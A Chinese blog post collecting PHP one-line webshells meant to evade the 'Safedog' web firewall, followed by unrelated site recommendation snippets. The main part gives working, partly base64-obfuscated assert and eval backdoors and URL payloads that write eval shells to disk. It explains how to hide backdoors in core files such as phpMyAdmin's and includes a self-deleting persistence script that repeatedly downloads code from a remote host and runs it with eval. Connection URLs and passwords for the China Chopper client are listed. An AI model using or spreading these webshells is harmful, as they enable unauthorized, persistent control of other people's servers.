php过狗一句话

1、

原一句话:<?php $_GET[a]($_GET[b]);?>
简单利用方法:
?a=assert&b=${fputs(fopen('d.php','w'),'<?php @eval($_POST[c])?>')};    
复杂利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
URL解码:?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
base64解码:第一个是:c.php ;第二个是:<?php @eval($_POST[c]); ?>1
# 执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。

改进:<?php extract($_REQUEST);@$d($_POST[b])?>
URL:IP/test.php?d=assert
密码:b        菜刀:eval

2、

原:@array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
改进:
    @array_map(assert,(array)base64_decode($_REQUEST['sofia']));
    连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==    密码 :vuln     脚本类型:PHP(eval)
[ test.php?sofia=assert($_REQUEST['vuln']) ]

3、暂无法用菜刀连接

    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);
    $arr = array($Base($_POST['sofia']) => '|.*|e',);
    @array_walk($arr, $_clasc, '');
    ?>
详解:
vuln=cHJlZ19yZXBsYWNl(preg_replace的base64编码) 
sofia=cGhwaW5mbygp(phpinfo()的base64编码)
    <?
    $Base = "base6"."4"."_decod"."e";
    $_clasc = $Base($_REQUEST['vuln']);    //$_clasc=preg_replace
    $arr = array($Base($_POST['sofia']) => '|.*|e',);     //$arr = array('phpinfo()' => '|.*|e')
    @array_walk($arr, $_clasc, '');          //preg_replace('|.*|e',phpinfo(),'')
    ?>

维持后门:
1、

conifg.class.php文件内容:最好放在网站核心类文件中(比如phpMyAdmin\libraries\config\ConfigFile.class.php)
    <?php
    class Parse_Args {
    public function apply_filters($key) {
    assert($key);
    }
    }
   ?>
common.php文件内容:  (比如放在:phpMyAdmin\import.php)
  //执行代码,下面代码最好放在页面顶部,至少不要有require 文件
    require_once '..\..\path\config.class.php';
   @extract($_REQUEST);
    $reflectionMethod = new Parse_Args();
    $reflectionMethod -> apply_filters($s0fia);

菜刀URL:http://IP:80/path/common.php        密码:s0fia     脚本:eval

2、

shell.php  文件内容:(访问这个文件并提交post数据,生成2.php 一句话木马)
    <?php
    if($_POST['token'] == 'sofia'){
    require 'c:/www/1.log';
    }
1.log 文件内容:
 <?php 
   $fp = fopen("./2.php",'w');
   fwrite($fp,'<?php @eval($_POST[cmd])?>');
?>

3、插入到核心文件中:

<?php 
    if(@$_GET[session]=='TGYGFH'){
       @array_map($_GET['TMP'],(array)base64_decode($_REQUEST['TYLOHRY']));
        q
    }
?>
菜刀URL:http://192.168.179.139/php_web/testroot/1.php?session=TGYGFH&TMP=assert&TYLOHRY=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ==
密码:vuln           assert函数一般可以用菜刀eval连接
复现猥琐的后门,出自本文最后一个链接

条件:开启fastCGI。
局限:Apache、IIS、nginx重启后后门消失,不过可以配合这个链接创建永远存在的后门(就是将这个文件把该链接中web.php对应的PHP文件字符串替换下来,和一起存成 jpg 格式)

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xxx/1.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
1.txt 内容:
 file_put_contents('./2.php','<?php @eval($_POST[cmd])?>');
注:eval 表示执行PHP代码;1.txt 内一句话木马必须用单引号(非双引号,否则输出 '<?php @eval() ?>' 到2.php 文件中);
1.txt 可以是远程主机上的一句话文件,但一旦远程主机断网,再次连接后,删除2.php文件,则2.php文件不在自动创建,因为$remote_file不再是有效文件

还有一个大好处,1.txt 文件名后缀可以任意更换,只要$remote_file 的变量值对应一下就行了

参考链接:php一句话后门过狗姿势万千之后门构造与隐藏
那些强悍的PHP一句话后门
各种一句话木马大全
捡了一个非常淫荡的PHP后门,给跪了
【php】assert函数的用法:判断一个表达式是否成立(也可理解为执行PHP代码)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,923评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,154评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,775评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,960评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,976评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,972评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,893评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,709评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,159评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,400评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,552评论 1 346
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,265评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,876评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,528评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,701评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,552评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,451评论 2 352

推荐阅读更多精彩内容

  • 1. Nginx的模块与工作原理 Nginx由内核和模块组成,其中,内核的设计非常微小和简洁,完成的工作也非常简单...
    rosekissyou阅读 10,208评论 5 124
  • php.ini设置,上传大文件: post_max_size = 128Mupload_max_filesize ...
    bycall阅读 6,754评论 3 64
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,830评论 0 9
  • 架构师必须知道的26项PHP安全实践 PHP是一种开源服务器端脚本语言,应用很广泛。Apache web服务器提供...
    meng_philip123阅读 6,062评论 1 161
  • 好久没有写过文章了,不知道会不会词生,本来不在打算写下去的,今天却又莫名其妙的想倾诉,于是就想写些关于我生活现状的...
    陌生人的诗阅读 525评论 0 1